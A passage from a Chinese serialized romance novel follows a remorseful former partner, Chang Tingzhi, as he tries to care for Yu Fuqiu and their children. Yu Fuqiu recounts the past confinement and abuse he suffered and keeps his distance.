“对不起,孩子小,闹觉,我马上哄——”
“哄什么哄?你哄得住吗?”那中年男人根本不听,上前一步,伸手就要推他,“你要是管不好孩子就别养——”
手还没碰到余赋秋,就被另一只手狠狠攥住了。
那力道大得惊人,像是要把骨头捏碎。
中年男人惨叫一声,回头一看——
一个男人站在他的身后,明明面无表情,可无端让中年男人颤抖着想要往后退。
长庭知。
他不知道什么时候从对面开了门,只穿着单薄的睡衣。
他攥着那个男人的手腕,一字一顿,从牙缝里挤出几个字:“你碰他一下试试?”
那男人被他这气势吓住了,张了张嘴,竟说不出话来。
长庭知松开他的手,把他往后一推,挡在余赋秋面前。
“有什么事冲我来。再敢动他——”
“长庭知。”
一个声音从身后响起,冷得像腊月的风。
长庭知浑身一僵。
他慢慢转过头。
余赋秋抱着愿安站在门口,脸色苍白,眼底满是疲惫和……某种他说不清的情绪。
他看着长庭知,一字一句,声音不大,却清清楚楚:“我不要在这个小区生活了?”
长庭知愣住。
“你这一闹,明天整个小区都知道我是谁了。”余赋秋继续说,声音冷得没有一丝温度,“以后我出门,是不是要被指指点点?愿安长大,是不是要被人说‘他爸是个疯子’?”
长庭知的眼眶一下子就红了。
“我……我不是……”
“出了事谁负责?”余赋秋看着他,“你吗?你能负责什么?”
长庭知站在那里,像被抽空了所有力气。
他张了张嘴,想说什么,却什么都说不出来。
旁边那几个邻居也愣住了,面面相觑,不知道该说什么。
长庭知沉默了很久。
然后他转过身,对着那几个邻居,深深地鞠了一躬。
“对不起。”他的声音沙哑得几乎听不见,“是我考虑不周。孩子小,闹觉,影响了你们休息,我替他们道歉。”
那几个邻居被他这一出弄懵了。
尤其是刚才那个中年男人,脸上的怒气早就消了,取而代之的是一种复杂的尴尬。
“这……那个……”他挠挠头,“其实也没啥,孩子哭正常,我……我刚才也冲动了……”
他看了看余赋秋,又看了看长庭知,最后目光落在余赋秋怀里那个还在抽泣的小婴儿身上。
“刚出月子吧?”他的声音放软了,“一个人带孩子?你男人呢?”
余赋秋没有说话。
长庭知在旁边,低着头,不敢看他。
那中年男人看看这个,看看那个,好像明白了什么。
他叹了口气。
“”行吧,今晚就这样。以后孩子哭,实在不行你们说一声,大家互相体谅体谅。”他顿了顿,看着余赋秋,“你一个人带孩子不容易,有事敲个门,邻里邻居的,能帮就帮。”
旁边几个邻居也纷纷点头,说了几句安慰的话,各自散了。
走廊里重新安静下来。
只剩下长庭知,站在余赋秋面前,低着头,像个做错事的孩子。
余赋秋看着他。
看着他狼狈的模样,看着他红透的眼眶,看着他微微颤抖的肩膀。
他什么都没说,转身进了屋。
门没有关。
长庭知站在那里,不知道该进还是该退。
过了很久,里面传来余赋秋的声音,很淡,听不出情绪:“进来。”
长庭知走进去。
屋里只开着一盏小灯,昏黄的光落在沙发上。
余赋秋抱着余愿安坐在那里,轻轻拍着,余愿安已经不哭了,抽抽搭搭地窝在他怀里。
忽然,余愿安看见了长庭知,哭闹着要他抱。
长庭知手足无措地站在那里,神情不安地看着余赋秋。
余赋秋没有说话。
他只是看着他。
看着他抱着女儿小心翼翼的样子,看着他满头汗还紧张解释的样子,看着他眼底那两团消不掉的乌青。
过了很久,女儿在他的怀中逐渐哭声微弱了,只留下酣睡的呼吸。
余赋秋开口,声音有些沙哑:“放下来,睡吧。”
长庭知愣了一下,然后赶紧把余愿安轻轻放进婴儿床里,盖好小被子。
他站在那里,不知道该干什么。
“过来。”
长庭知走过去。
两个人很近。
这是半年以来,他们最近一次接触,长庭知连呼吸都放轻了。
屋里很安静。
只有窗外偶尔的蝉鸣,和两个人的呼吸声。
不知道过了多久。
长庭知的声音响起来,很轻,轻得像怕惊动什么:“球球。”
没有回应。
他又叫了一声:“让我照顾你和孩子,好不好?”
沉默。
长庭知继续说,声音沙哑,却很认真:“我知道我没资格求你原谅。我知道我做了很多错事。我不求你原谅我,我只求你让我留下来。”
“你身体还没好,愿安还小,春春要上学,店里还有那么多事……你一个人忙不过来的。”
“让我照顾你们,就照顾到你好起来,到你能自己应付了,我就走。”
“我保证不打扰你,我睡沙发,我做饭,我带愿安,我什么都做,你不想看见我,我就躲,你什么时候烦了,我马上就走。”
“就让我……让我帮你一段时间,好不好?”
他说完了。
沉默。
很长很长的沉默。
长庭知的心一点一点往下沉。
然后,余赋秋的声音响起,很轻,听不出情绪:“春春要上学,店里要管,愿安还小。”
长庭知愣住。
“我一个人确实忙不过来。”
长庭知的心猛地跳起来。
“你留下吧。”
长庭知整个人像是被定住了。
他张了张嘴,想说什么,却发现嗓子被堵住了。
眼眶慢慢红了。
“我……”他好不容易挤出几个字,“我真的可以吗?”
余赋秋没有回答。
但他也没有赶他走。
过了很久,余赋秋的声音再次响起,更轻了:“别再半夜站雨里了。”
长庭知的眼泪一下子涌出来。
他拼命忍住,不让自己发出声音。
他只是轻轻“嗯”了一声。
月光从窗帘缝隙里透进来,落在地板上,落在沙发上,落在两个人身上。
窗外的蝉鸣还在继续。
但屋里很安静。
很安静。
……
第二天早上。
余赋秋醒来的时候,天气很好。
他坐起来,听见厨房里传来轻轻的声响。
他走过去,看见长庭知系着围裙,正在灶台前忙活。
锅里煮着粥,蒸笼里冒着热气,案板上摆着切好的小菜。
余愿安躺在旁边的婴儿摇椅里,睁着眼睛看着天花板,小手小脚乱蹬。
长春春坐在餐桌旁,正小口小口地喝着粥,看见余赋秋,咧嘴笑了。
“妈咪早!爸爸做了好多好吃的!”
长庭知听见声音,转过头,有些紧张地看着余赋秋。
“早……早饭马上好。”
余赋秋看着他,看着他的围裙,看着他手里还握着的勺子,看着他眼底那两团消不掉的乌青。
他什么都没说。
只是走到餐桌旁,坐下来。
长庭知的嘴角,忍不住弯了起来。
窗外,阳光正好。
……
雷声滚过天际的时候,余赋秋正在给愿安喂奶。
他浑身一僵,手指下意识地收紧,怀里的小婴儿不舒服地哼了一声。
窗外又是一道闪电,紧接着是震耳欲聋的雷鸣。
他的呼吸开始急促。
怕打雷。
从小就怕。
这么多年了,还是怕。
愿安被雷声吓得哇哇大哭。
余赋秋手忙脚乱地哄着,自己的手却在抖。他咬着牙,一遍一遍告诉自己没事的,只是打雷,没事的——
又是一声惊雷。
他整个人颤了一下,差点抱不住孩子。
以往那些过往全都浮现了上来。
就在这时,门被推开了。
一个人冲进来,浑身湿透,头发贴在脸上,喘着粗气。
长庭知。
他刚从外面跑过来的,连伞都没打。
他看见余赋秋抱着孩子缩在沙发上的样子,看见他苍白的脸和发抖的手,什么都没说,只是走过去,轻轻地把余赋秋和愿安一起抱进怀里。
“我在。”
他的声音很低,很稳,穿过雷声,落在余赋秋耳边。
“我一直都在。”
余赋秋的身体僵了一瞬。
然后,慢慢地,慢慢地,靠进了那个怀抱。
怀里,愿安不知道什么时候不哭了,眨着眼睛看着这两个抱在一起的大人。
窗外雷声还在响。
但好像,没那么可怕了。
过了很久,余赋秋开口,声音有些沙哑:“你怎么过来了?”
长庭知松开他一点,低头看着他。
“我知道你怕打雷。”他说,“我一直记得。”
余赋秋没有说话。
长庭知站起来,走到门口,打开门。
门外站着两个湿漉漉的小东西。
一只橘猫,圆滚滚的,正抖着身上的水。
一只小狗,小小的,毛茸茸的,看见余赋秋就开始摇尾巴。
“这是……”余赋秋愣住了。
“我把……你在国外养的七七带回来了”长庭知说,声音有些紧,“那年……你一直想养猫养狗,结婚纪念日的猫我……我买好了,想给你一个惊喜…后来……”
他没说完。
但余赋秋懂了。
后来,那场结婚纪念日,他没有等到他。
他等到的,是另一个人的影子。
余赋秋低头看着那两只小东西。
橘猫已经大摇大摆地走进来,在屋里巡视了一圈,最后跳上窗台,开始舔爪子。
小狗七七围着他转来转去,尾巴摇得像个小风扇。
他伸出手,轻轻摸了摸小狗的脑袋。
小狗舔了舔他的手指。
余赋秋的眼眶有些发酸。
长庭知站在门口,浑身湿透,却不敢进来。
“我……我就是送来给你看看。”他说,“你要是不要,我就带回去……”
“进来。”
长庭知愣住。
“淋成这样,想生病吗?”余赋秋头也不抬,“进来擦干。”
长庭知走进去。
那天晚上,他得以第一次在那张沙发上入睡。
这是他又一次和余赋秋可以住在同一个屋檐下,这是恩赐。
雷声不知什么时候停了。
……
每天早上店里开门的时候,长庭知准时出现在店门口。
保温桶里装着刚熬好的粥,煮得软烂的小米,配上几碟清淡的小菜。
有时候是鸡汤,有时候是鱼汤,换着花样来。
他不敢进去。
只是把保温桶放在门口,敲敲门,然后退到街对面,远远地看着。
林远开门拿进去。
“哥,对面送的。”
余赋秋看了一眼那个保温桶。
已经几周了了。
一天没落。
他打开盖子,热气冒出来,带着米香。
他喝了一口。
温的。
不烫,刚好能入口。
他抬起头,看向街对面。
那个人站在对面屋檐下,正往这边看。
看见他抬头,愣了一下,然后转身,快步走了。
余赋秋收回目光,继续喝粥。
林远在旁边,偷偷笑。
……
余赋秋有夜盲症。
天一黑就看不清东西。
以前晚上出门,总得有个人陪着。
那天晚上,店里有些事情需要处理,他不得不出门一趟。
林远有事情,长春春带着愿安在家睡觉。
他一个人走在路上。
路灯亮着,可对他来说,还是太暗了。
他走得很慢,每一步都小心翼翼的。
然后他发现——
身后有脚步声。
很轻,很远,但一直在。
他停下来,那脚步声也停下来。
他继续走,那脚步声也继续。
他不用回头也知道是谁。
那天晚上,他一路走,那个人一路跟着。
保持着不远不近的距离,像是怕他发现,又像是怕他出事。
他走到店门口,推门进去,回头看了一眼。
街对面的阴影里,站着一个人影。
那人看见他回头,愣了一下,然后转身,消失在黑暗里。
余赋秋站在门口,看了很久。
第二天晚上,他出门的时候,看见路灯下放着一只手电筒。
新的,还带着包装。
旁边压着一张纸条:
“晚上带上。”
没有署名。
但他认得那个字迹。
他拿起手电筒,站了一会儿。
然后他打开,照向前方的路。
那天晚上,他走得很稳。
身后,还是有脚步声。
不远不近,一直跟着。
直到他彻底从黑暗中走出来,身后那道脚步声才消失。
……
楼道里的灯坏了三天。
余赋秋每次晚上回来,都得摸黑爬楼梯,一步一步,小心翼翼。
第三天晚上,他回来的时候,发现灯亮了。
崭新的灯泡,比以前那个更亮,把整个楼道照得明晃晃的。
他愣了一下。
长春春在旁边说:“爸爸下午来修的。”
余赋秋没有说话。
他站在楼道里,看着那盏灯,看了很久。
那天下午,店里来了几个人。
不是来吃饭的,是来找事的。
为首那个人满身酒气,拍着桌子吼,说蛋糕里有虫子,要赔钱。
余赋秋知道是来讹钱的。
他刚想说话,那人已经掀了桌子,碗筷摔了一地。
“今天不赔钱,你这店别想开了!”
余赋秋护着身后的长春春,脸色发白。
就在这时,一个人冲了进来。
长庭知。
他不知道从哪冒出来的,直接挡在余赋秋面前。
“想干什么冲我来。”
那几个人愣了一下,随即笑起来。
“哟,来个护花的。”
推搡之间,有人动了手。
长庭知把余赋秋护在身后,一个人挡在前面。
他可以打那群人,但余赋秋曾经说过如果出了事情谁来负责,他不能让余赋秋背上骂名了。
他不让那些人靠近余赋秋一步。
最后,有人操起旁边的酒瓶,砸在他头上。
血一下子就流下来了。
长庭知晃了晃,还是站着,死死挡在余赋秋面前。
那几个人见出了血,吓得跑了。
余赋秋愣在那里,看着长庭知满头的血,看着他还在努力站着的样子。
“长庭知!”
他冲上去,扶住他。
长庭知看着他,眼神已经有些涣散,却还在说:“你……你没事吧?”
余赋秋的眼眶红了。
“你疯了!”他吼,“你冲上来干什么!”
长庭知被他吼得愣了一下,然后轻轻笑了。
那笑,在满脸的血里,看起来有些傻。
“我……”他说,声音沙哑,“我不能再让你受伤了。”
余赋秋愣住了。
医院里。
长庭知的头上缝了七针。
他坐在病床上,头上缠着纱布,看起来有些滑稽。
余赋秋站在床边,看着他,沉默了很久。
“你不用这样。”他终于开口,声音很轻。
长庭知抬起头,看着他。
“这些都是我该做的。”他说,“是我的赎罪。”
余赋秋没有说话。
他转身,走了出去。
长庭知看着他的背影,眼底的光暗了暗。
过了一会儿,门又开了。
余赋秋走进来,手里端着一杯热水。
他递过去,没有说话。
长庭知接过来,握在手里。
那水温温的,暖着他的掌心。
他看着余赋秋,眼眶有些发酸。
从那以后,有些事情开始变了。
余赋秋开始回他的消息。
虽然只是“嗯”、“好”、“知道了”,但确实是回了。
长庭知每次收到,都要看好几遍。
有时候晚上,余赋秋会让他过来一起吃饭。
四个人围着一张桌子,林远、长春春、愿安的小摇床。
橘猫蹲在窗台上,小狗在桌子底下转来转去。
长庭知坐在那里,看着这一切,觉得像做梦一样。
他以为一切都在变好。
他真的以为。
……
有人来店里。
长庭知远远地就看见了。
是沈昭铭。
他站在店门口,和余赋秋说话。
说了很久,余赋秋笑了。
那笑容,长庭知好久没见过了。
不是对着他。
是对着沈昭铭。
他站在街对面,看着那两个人,看着余赋秋的笑,看着沈昭铭轻轻拍了拍他的肩,看着他们像老朋友一样说着话。
他站了很久。
久到那两个人说完话,沈昭铭离开,余赋秋转身回了店里。
久到天黑了,灯亮了,街上的人越来越少。
他还是站在那里。
然后他转身,走了。
他以为自己是真的进入余赋秋生活里面了,余赋秋真的原谅他了。
可是,再看见余赋秋对沈昭铭态度和他态度的时候,一切都明了了,不是吗?
……
晚上,下了雨。
很大的雨。
长庭知喝了很多酒。
他不知道自己喝了多少,只知道站起来的时候,世界在晃。
他走出门,走在雨里。
不知道走了多久,他停下来了。
抬头一看——
余赋秋的楼下。
他靠着墙,慢慢滑坐下去,蜷缩在墙角里,蜷缩在雨里。
水从头顶流下来,混着眼泪,分不清是什么。
他把脸埋进膝盖里,肩膀一抽一抽的。
没有声音。
只有雨声。
不知道过了多久,他抬起头,看着楼上那扇亮着灯的窗户。
他看着那扇窗,看着那团暖黄色的光,看着光里偶尔闪过的影子。
那是余赋秋。
是愿安。
是春春。
是他们。
是他永远想要、却好像永远靠近不了的他们。
余赋秋在关闭阳台门之际,他的目光却瞥见了那棵大树底下,好像有一缕阴影。
他仔细听,有门被轻微撞击的声音。
他僵着身子,许久才慢慢挪动着双腿,站在玄关处。
他把灯给关了。
生怕是小偷。
透过猫眼,门外也是一片漆黑。
他慢慢地蹲下了身子,整个人背靠着门,仰着头,望着天花板。
眼眶在此刻分外酸涩。
此时,那个撞击声又大了些。
余赋秋一僵。
他把耳朵贴上冰冷的门板,指头关节轻微蜷曲了起来。
“球球……”
他开口,声音沙哑得几乎听不见,被雨声盖得严严实实:“你看看我……”
“求你……看看我……”
“我错了……我真的错了……”
“你看看我好不好……”
“不要和别人走……不要看别人……球球你看看我……你看看我好不好……”
门外传来压抑的、破碎的呜咽声。
那个男人在哭。
那个曾经高高在上、不可一世的男人,此刻蜷缩在雨夜的门前,像一只被遗弃的、遍体鳞伤的困兽,用最卑微的姿态乞求着一丝垂怜。
“那十五年……我记着的……我都记着的……”
“巷子里……你把我捡回去……你给我包扎……你把唯一的被子给我……”
“你说……以后我就是你的人了……”
“我都记着的……球球……我什么都记着的……”
“可是我怎么……我怎么就把你弄丢了呢……”
“我怎么就把你弄成那样了呢……”
哭声越来越大,又被他拼命压下去,变成破碎的、断断续续的哽咽。
“我改……我什么都改……你不喜欢我靠近,我就站远点……你不喜欢我说话,我就不说……你想让我做什么,我就做什么……”
球球……”
“求你了……”
“看看我好不好……”
“就一眼……就一眼……”
他听见门外那个人还在说,声音越来越低,越来越模糊,像是酒精和疲惫终于把他拖进了混沌的边缘。
“那年结婚纪念日……我买了猫……买了狗……我想给你惊喜的……”
“可是你不在……”
我找了你好久……好久……”
“后来我找到了……可你不要我了……”
“你不要我了……”
最后一句,轻得像一声叹息,又像一声哀鸣。
然后,门外安静了。
只有雨声。
只有偶尔滚过的雷声。
楼上,余赋秋站在门前。
他看着门口那个蜷缩在角落里的身影,看了很久。
长春春不知道什么时候挪到他身边,顺着他的目光看着电子屏幕。
“妈咪,”他轻轻问,“是爸爸吗?”
余赋秋没有说话。
他只是看着。
看着那个人蜷缩在角落里,浑身湿透看着他一动不动,看着他在大雨里像一只被遗弃的、受伤的野兽。
余赋秋走到那个人面前,低头看着他。
长庭知蜷缩在墙角,浑身发抖,嘴唇冻得发紫。
他好像感觉到了什么,慢慢抬起头。
那双眼睛里全是红血丝,全是水——分不清是雨水还是眼泪。
看见余赋秋的那一刻,他的眼睛亮了一下。
“球球……”
他的声音沙哑得几乎听不见,带着小心翼翼的期盼。
余赋秋没有说话。
他只是蹲下来,伸手在他身上摸索。
长庭知愣住了。
余赋秋摸到了钥匙,站起来。
然后他弯腰,架起长庭知的胳膊,把他扶起来。
长庭知整个人都是软的,被雨淋得浑身冰冷,靠在余赋秋身上,几乎站不稳。
但他没有动,只是贪婪地感受着这难得的靠近。
余赋秋扶着他,一步一步,走向对面。
走向长庭知自己的房子。
门开了。
余赋秋把他扶进去,放在沙发上。
长庭知坐在那里,浑身湿透,愣愣地看着他。
余赋秋没有看他。
他走进浴室,拿出一条干毛巾,扔在他头上。
又去倒了杯热水,放在茶几上。
然后他转身,往外走。
“球球……”
长庭知的声音从身后响起,沙哑、颤抖,带着一丝微弱的希望。
余赋秋停下来。
但没有回头。
“你……你为什么……”
长庭知想问,你为什么下来?你为什么扶我回来?你为什么给我毛巾、给我热水?
你为什么要管我?
余赋秋沉默了几秒。
然后他开口,声音很冷,很平:“你死在这里,会影响房价。”
长庭知愣住了。
余赋秋推开门,走了出去。
门在他身后轻轻关上。
回到家里,长春春还坐在窗边。
看见余赋秋进来,他坐在他身边。
“妈咪。”他抬起头,看着余赋秋。
余赋秋没有看他。
长春春沉默了一会儿,然后轻轻问:
“妈咪,你为什么要心软?”
余赋秋的动作顿了顿。
他站在玄关,看着对面,看着那扇已经亮起来的窗。
过了很久,他开口,声音很淡:“不是心软。”
长春春看着他。
余赋秋转过头,终于看着自己的儿子。
那双眼睛里,没有恨,没有痛,甚至没有刚才那种冷——只有一种很深很深的、被时间冲刷过无数次之后的平静。
“当初,”他说,一字一句,像是在说一件很久远很久远的事,“他把我关起来的时候,我跑到雨里过。”
长春春的呼吸微微一滞。
“跑过好几次。”余赋秋继续说,声音没有起伏,“有一次,我跑了很远,跑到腿都软了,跑到以为自己终于可以逃出去了。”
他顿了顿。
“然后他找到我了,把我拖回去,锁起来,打断我的腿。”
他的腿至今还是一瘸一拐的。
长春春的眼眶慢慢红了。
余赋秋看着他,轻轻伸出手,摸了摸他的头。
“那时候,所有感情就没有了。”
他的声音很轻,像是在说一件和自己无关的事。
“恨也好,爱也好,盼也好,怨也好——都没有了。”
“磨没了。”
余赋秋收回手,转身,走向卧室。
走到门口,他停下来。
没有回头。
“去睡吧。”他说,“明天还要上学。”
门关上了。
长春春坐在那里,看着那扇关上的门。
他又转头,看向窗外。
长春春收回目光,低下头。
他知道妈咪不是心软。
他也知道那个人欠妈咪的,一辈子都还不清。
可他还是希望——
希望有一天,妈咪看那个人的时候,眼睛里能有一点点温度。
哪怕只是一点点。
窗外,雨还在下。《 》
第102章 正文完[VIP]
第102章 正文完[VIP]
长庭知提着那袋刚出锅的糖炒栗子, 站在店门口,等着余赋秋下班。
这是他每天最期待的时刻。
栗子是余赋秋以前最爱吃的。
那时候他们穷得叮当响,冬天路过街边的小摊, 余赋秋闻到香味就走不动路, 眼睛亮晶晶地盯着那口大锅,却什么都不说。
他知道余赋秋舍不得,便省下两天的饭钱, 买了一小包。
余赋秋接过去的时候,眼睛都红了,一颗一颗数着, 说要留一半给他明天吃。
那时候的余赋秋, 还会为了一包栗子开心一整天。
现在他买得起了。
买多少都买得起了。
可他不知道该给谁。
后来他终于知道了。
每天来接他下班的时候,顺便买一包, 热乎乎的, 捧在手里,等他出来的时候递给他。
余赋秋接过去,什么都不说。
但第二天,那包栗子会在垃圾桶里。
他还是买。
每天买。
今天也一样。
栗子还热着,他站在店门口, 看着那扇玻璃门, 等着那个人推门出来。
六点。
六点半。
七点。
店里的灯灭了。
长庭知愣了一下。
他走过去, 推开门。
里面空无一人,收银台收拾得干干净净,椅子都倒扣在桌上。
“球球?”
没有人回答。
他掏出手机, 打电话。
嘟——嘟——嘟——
没人接。
再打。
嘟——嘟——嘟——
还是没人接。
又打。
又打。
又打。
他的手开始发抖。
他跑去家里, 拼了命的敲门。
长春春开的门,小脸上带着困意, 说:“爸爸?你怎么来了?”
长庭知询问他余赋秋回家了没?
长春春疑惑地摇了摇头:“妈咪没回来,只是嘱咐我好好照顾安安。”
长庭知心头一紧。
他跑去常去的超市、常去的公园、常去的每一个地方。
没有。
到处都没有。
手机一直打不通。
一个可怕的念头像毒蛇一样钻进他的脑子——
产后抑郁。
他查过资料的。
产后抑郁会让人情绪低落,会让人失眠,会让人不想说话,会让人——会让人想不开。
球球最近是不是不对劲?
话越来越少了。
笑容越来越少了。
晚上总是醒,一个人坐在窗边发呆,一坐就是很久。
他以为是因为孩子闹腾。
他以为是因为身体还没恢复好。
他以为只要他好好照顾,好好陪着,一切都会慢慢好起来。
他以为……
他不敢想下去了。
他疯了一样到处跑,到处问,到处找。
最后,有人告诉他,看见一个人往河边走了。
长庭知冲过去的时候,腿都是软的,心跳快得像要从胸腔里蹦出来。
河边很安静。
风从水面上吹过来,带着初秋的凉意,吹得芦苇沙沙作响。
天已经黑了,只有远处几盏路灯,在水面上投下昏黄的光。
余赋秋就站在河岸边。
背对着他。
离水那么近。
近得只要再往前一步——
“球球——!”
长庭知喊出来,声音完全破了调。
他冲过去,一把抓住余赋秋的手臂,把他往后拉,拉得那么用力,用力到余赋秋整个人都踉跄着撞进他怀里。
“别——别——”
他的声音抖得不成样子,整个人都在剧烈地发抖。
他抱着余赋秋,抱得死紧,紧得像一松手他就会消失、就会坠入那片黑暗的水里。
“我错了——我错了——”
余赋秋没有说话。
他没有挣扎,没有推开,也没有回抱。
只是那么站着,被他抱着,一动不动。
长庭知抱着他,把脸埋进他的颈窝,声音沙哑得几乎听不清,带着浓重的哭腔:“我不该介入你的生活——我不该天天出现在你面前——我以为……我以为只要我好好表现,只要你看到我在改,你就会慢慢原谅我——”
他松开一点,看着余赋秋的脸。
那张脸在昏黄的路灯下,苍白得像纸,没有表情,没有温度。
长庭知的眼泪流得更凶了。
“是我太贪心了——是我得寸进尺——我不该的——我不该以为我可以——可以重新——”
他说不下去了。
他只是举着那袋栗子,举到余赋秋面前。
那袋栗子已经被他捏得变了形,纸袋皱皱巴巴的,但还温热着。
“我只是去买这个——”
他的声音沙哑得几乎听不见,每一个字都像是从喉咙里硬挤出来的。
“你最喜欢吃的——以前最喜欢吃的——冬天路过摊子,你走不动路,我就知道你想吃——那时候我没钱,只能偶尔买一小包——你都舍不得吃,一颗一颗数着,说要留给我——”
他的眼泪滴在纸袋上,洇开一小片深色。
“现在我买得起了——每天都能买——我每天都买——就想等你下班的时候给你——”
“我没有别的意思——我就是想对你好——我就是想让你开心一点——”
“我不知道你会这样——我不知道你会想不开——”
他的声音越来越低,越来越破碎。
“我不来了——我再也不来了——”
他抓着余赋秋的手,抓得那么紧,紧得像是要把自己所有的恐惧和后悔都通过那只手传过去。
“我明天就搬走——我保证——我保证不出现在你面前——我再也不去接你下班——再也不送早餐——再也不在你门口守着——”
“你不想看见我,我就消失——我消失得干干净净——”
“你别——你别做傻事——”
他的眼泪流了满脸,混着鼻涕,狼狈得不成样子。
“你还有春春——你还有愿安——他们还那么小——他们不能没有你——”
他顿了顿,声音低得几乎听不见:
“我……我也……”
他没说完。
他不敢说完。
他有什么资格说?
余赋秋看着他。
看着他满脸的泪,看着他发抖的手,看着他被雨水和泪水浸透的脸,看着那袋被捏得不成样子的栗子。
看着他这副卑微到尘埃里的样子。
看了很久很久。
风从河面上吹过来,吹乱了他的头发,吹得他的衣角轻轻飘动。
然后他开口,声音很轻,很淡:“我没有想自杀。”
长庭知愣住了。
“我只是想一个人待一会儿。”
长庭知站在那里,愣愣地看着他。
余赋秋低下头,看着那袋栗子。
他伸出手,从里面拿出一颗。
剥开。
放进嘴里。
栗子是甜的,软糯的,带着刚出锅的温度。
他慢慢嚼着,没有说话。
长庭知看着他,看着他吃栗子,看着他把那颗栗子咽下去——
眼泪还在流,但不知道为什么,心里好像没那么慌了。
余赋秋吃完那颗,抬起头,看着他。
“你回去吧。”
长庭知愣住。
“回……回去?”
“嗯。”余赋秋说,声音平静得没有一丝波澜,“回去。”
长庭知站在那里,不知道该说什么。
他想问,你是不是不要我来了?
他想问,你是不是真的不想看见我?
他想问,那我明天还能不能给你送早餐?
可他什么都问不出来。
只是愣愣地站着,看着余赋秋。
余赋秋没有再看他。
他转身,往河堤上走。
走了几步,停下来。
他开口了。
声音很轻,很淡,淡得像一缕烟,像一阵风,像他从来没有在余赋秋的生命里存在过。
“回去。”余赋秋说,一字一句,清清楚楚,“不要再来了。”
长庭知站在那里,像被抽空了所有力气。
他的手还抓着余赋秋的手腕,可那力道已经不自觉地松了。
他看着余赋秋,张了张嘴,想说什么。
却发现什么都说不出来。
“我……”
他终于挤出这一个字,声音沙哑得几乎听不见。
余赋秋没有看他。
他只是低下头,看着那只抓着自己的手。
看了几秒。
然后他轻轻挣开。
长庭知的手落下去,垂在身侧,空空的。
余赋秋一步一步,走得很慢,很稳。
没有回头。
长庭知站在原地,看着那个背影越来越远。
他张了张嘴,想喊他。
想喊球球。
想喊别走。
想喊我再也不来了,可是你能不能——能不能回头看我一眼?
就一眼。
可他没有喊出来。
只是站在原地,看着那个背影消失在夜色里。
风从河面上吹过来,吹干了他脸上的泪。
…
余赋秋走了很远,走到看不见那条河的地方,才停下来。
他靠在路边的树上,仰着头,看着天。
天上没有星星。
只有厚重的云层,压得很低。
他闭上眼睛。
很久很久。
他想起很久以前,也是这样的夜晚,也是这样的河。
那个人站在他面前,说“我错了”。
那时候他信了。
后来他才知道,有些错,不是认了就能改的。
有些伤,不是说了对不起就能好的。
他睁开眼,继续往前走。
走回家,走进门,走到卧室。
春春和愿安都睡了,呼吸声轻轻的,很安稳。
他站在床边,看着那两个小小的孩子,看了很久。
然后他在床边坐下,把脸埋进手心里。
肩膀轻轻抖着。
他竭力平稳着自己的呼吸,想要将一切都压了下去。
可是那无数在心头萦绕的情绪,还是如同潮水般将他淹没。
他终究还是没止住泪水,任由眼泪滑落。
……
褚宝梨来的时候,是个阴天。
云压得很低,风里带着雨腥气。余赋秋正在店里整理货架,听见门上的风铃响,回头,看见了她。
褚宝梨站在门口,穿着件米色风衣,脸色不太好,眼底有些乌青。她看着余赋秋,笑了笑,那笑容有些勉强。
“赋秋。”
余赋秋放下手里的东西,点了点头。
“宝梨姐。”
他们在外面的长椅上坐下。林远端了两杯热茶过来,又识趣地退开了。
褚宝梨握着茶杯,沉默了一会儿,开口:
“你怎么样?”
余赋秋看着远处,没有回答。
褚宝梨也没等他回答,自顾自地说下去:
“他最近……不太好。”
余赋秋的手指微微蜷了一下。
“不是身体上的不好。”褚宝梨说,声音有些低,“是……精神上的。”
她顿了顿。
“你知道他现在在干什么吗?”
余赋秋没有说话。
“他在两个地方来回跑。”褚宝梨说,“你这里,他自己那里,每天跑无数趟,来了不敢进门,就在对面站着,站一会儿,又回去。回去待不住,又跑过来。”
“半夜会抱着你的衣服发呆,那些他偷偷留下的、你以前的衣服,抱着,不撒手。有时候还会——”
她停了停,像是在斟酌用词。
“还会把自己的衣服和你的衣服叠在一起,叠成一个窝的样子,然后蜷在里面。”
她看着余赋秋。
“你知道那叫什么吗?”
余赋秋的睫毛颤了颤。
“那叫筑巢。”褚宝梨说,“动物在极度不安、极度缺乏安全感的时候才会做的事,把自己裹在带有伴侣气味的东西里,才能感觉到一点点的——安心。”
她顿了顿。
“他现在的精神状态,已经差到那种程度了。”
余赋秋没有说话。
风从远处吹过来,吹乱了他的头发。
褚宝梨看着他,眼眶有些发红。
“赋秋,我知道他做了很多错事。我知道他伤害过你。那些事,我一辈子都不会替他开脱。”
她的声音有些抖。
“可是他真的在改。这几个月你看见的,对不对?他不再强迫你,不再靠近你,不再用任何方式让你不舒服。他只是——只是想对你好。”
“他每天送你早餐,每天接你下班,每天在你门口守到半夜。你让他走,他就走。你不让他来,他就不来。可他自己那边呢?他一个人待着的时候,都快把自己熬干了。”
“他只能靠着一点你的气息活着。就那一点。你给的那一点点——”
“他甚至为了让那个长庭知回来,不惜去做法、去献祭自己、去参加所谓的人体实验——”
她看着余赋秋,眼泪终于流下来。
“你就真的甘心吗?”
“甘心把他让给别人吗?”
余赋秋的呼吸微微一滞。
“让别人抱着他?”褚宝梨说,“让别人给他温暖?让别人成为他的解药?”
“你就真的——一点都不在乎了?”
“人生……能有几个十七年?”
沉默。
很长的沉默。
久到褚宝梨以为他不会回答了。
然后余赋秋开口,声音很轻,很淡:
“宝梨姐。”
褚宝梨看着他。
“他做过的那些事,”余赋秋说,“你知道多少?”
褚宝梨没有说话。
“他把我关起来的时候,你知道他在做什么吗?”
“他把定位器嵌进我肉里的时候,你知道我在想什么吗?”
“我跑到雨里,被他拖回去,锁起来的时候——你知道我是什么感觉吗?”
他的声音没有起伏,平静得像在说别人的事。
“那些感情,不是一天没的。是慢慢磨的,一点一点磨的。磨到最后,什么都没有了。”
他看着褚宝梨。
“你说的那些,我都知道。他在对面站着,我知道。他半夜抱着我的衣服,我知道。他筑巢,我也知道。”
“可是宝梨姐——”
他顿了顿。
“那不是我欠他的。”
褚宝梨的眼泪流得更凶了。
她张了张嘴,想说什么,却什么都说不出来。
余赋秋站起来。
“你回去吧。”他说,“路上小心。”
他转身,往店里走。
走了两步,停下来。
没有回头。
“他要是真的不好,就送医院。”
然后他推开门,进去了。
褚宝梨坐在那里,看着那扇关上的门,看了很久。
余赋秋回到家的时候,天已经黑了。
雨还没下,但空气里全是潮湿的气息,压得人喘不过气。
他把钥匙插进锁孔,转开门。
走廊里很安静。
然后他看见了。
对面那扇门——长庭知的房门——虚掩着。
没有关紧,露出一条细细的缝。
余赋秋站在那里,看着那条缝,看了几秒。
他应该进去吗?
他有什么理由进去?
褚宝梨的话还在耳边响着。
“他现在的精神状态,已经差到那种程度了。”
“靠着一点你的气息活着。”
